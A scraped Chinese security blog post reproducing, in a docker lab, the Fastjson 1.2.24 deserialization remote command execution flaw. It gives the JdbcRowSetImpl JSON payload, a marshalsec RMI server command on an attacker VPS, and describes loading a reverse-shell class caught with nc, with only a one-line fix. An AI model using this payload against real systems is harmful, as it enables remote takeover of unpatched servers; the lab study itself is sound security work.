Sec Hotspot 首页  收藏本站  技术博客  RSS
统计信息
已收录文章数量:8263 篇
已收录公众号数量:89 个
本站文章为爬虫采集,如有侵权请告知
本周热门文章
每日安全动态推送(02-14)   2020.02.14 08:35:03  55
威胁情报周报(2020.2.14)   2020.02.14 17:54:01  42
WiFi6来了,一个时代开启!   2020.02.17 10:47:06  39
[代码审计] - 云购CMS代码审计   2020.02.14 16:45:54  34
等保测评2.0:Windows安全审计   2020.02.15 18:00:01  33
情人节送女朋友小米10pro怎么样?   2020.02.14 18:40:11  33
SRC逻辑漏洞挖掘详解以及思路和技巧   2020.02.18 20:02:36  32
已收录微信公众号
网信中国 区块链大本营 白说区块链 区块链投资家 区块链官微 区块链铅笔Blockchain HACK学习呀 二道情报贩子 合天智汇 小白帽学习之路 小米安全中心 弥天安全实验室 SAINTSEC SecPulse安全脉搏 TideSec安全团队 360安全卫士 游侠安全网 计算机与网络安全 安全祖师爷 安全学习那些事 腾讯安全联合实验室 黑客技术与网络安全 安全圈 腾讯御见威胁情报中心 Python开发者 Python之禅 编程派 Python那些事 Python程序员 安全威胁情报 吾爱破解论坛 行长叠报 安在 i春秋 嘶吼专业版 E安全 MottoIN 网信防务 网安杂谈 数说安全 互联网安全内参 漏洞战争 安全分析与研究 邑安全 ChaMd5安全团队 天融信阿尔法实验室 安全牛 SecWiki 安全学术圈 信安之路 漏洞感知 浅黑科技 Secquan圈子社区 奇安信集团 奇安信 CERT 国舜股份 雷神众测 盘古实验室 美团安全应急响应中心 瓜子安全应急响应中心 顺丰安全应急响应中心 蚂蚁金服安全响应中心 携程安全应急响应中心 滴滴安全应急响应中心 字节跳动安全中心 百度安全应急响应中心 腾讯安全应急响应中心 网易安全应急响应中心 OPPO安全应急响应中心 京东安全应急响应中心 Bypass CNNVD安全动态 安恒应急响应中心 天融信每日安全简报 奇安信威胁情报中心 看雪学院 黑白之道 水滴安全实验室 安全客 木星安全实验室 云鼎实验室 绿盟科技安全预警 白帽汇 深信服千里目安全实验室 腾讯玄武实验室 长亭安全课堂 FreeBuf 绿盟科技 nmask
Fastjson1.2.24反序列化命令执行漏洞
本文来自公众号:弥天安全实验室   2019.12.03 17:00:39

网安引领时代,弥天点亮未来




环境介绍

Fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。 通过查找代码中相关的方法,即可构造出一些恶意利用链。 这里是最初版本的RCR没有加入checkAutoType()函数校验。


复现过程

用docker-compose搭建一个写好的fastjson 1.2.24的环境

docker-compose up -d


用curl命令发送json数据看看环境搭是否运行

curl http://127.0.0.1:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'


环境搭好就需要准备开始复现了,首先是写一个java文件编译为class文件,用于之后执行命令,这里准备了两个文件一个确定漏洞存在的命令(test1)和一个反弹shell的(shell1),写好后编译为class文件

先看看漏洞是否存在,这里在vps上启动一个http服务用于接收wget命令和为RMI服务提供环境

python –m SimpleHTTPServer 80


然后是通过marshalsec启动一个RMI服务监听的端口是443

java –cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vps服务器地址:端口/#编译好的class文件" 443

然后是发送json数据类型的payload

curl http://127.0.0.1:8090/ -H "Content-Type: application/json" --data '{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://vps地址:443/TouchFile","autoCommit":true}}'


在这里可以看到docker环境加载了我们vps服务器上的test.class文件


成功返回数据包到vps的web服务上,接下来就是准备反弹shell了


先更换RMI服务提供的文件为shell1

向目标发送请求再次加载我们的RMI服务执行反弹shell的命令,反弹到我们的vps服务器上


Vps上的nc接收到反弹的shell,完成

修复建议

更新fastjson版本


附:

1.marshalsec

下载地址:

https://github.com/mbechler/marshalsec

需要使用maven编译为jar包后使用

2.docker构建文件下载地址:

https://pan.baidu.com/s/1EAlFcr6NaET9k3zxVIFHMQ 提取码: 5r18




知识分享完了

喜欢别忘了关注我们哦~



学海浩茫,
予以风动,
必降弥天之润!


弥  天

安全实验室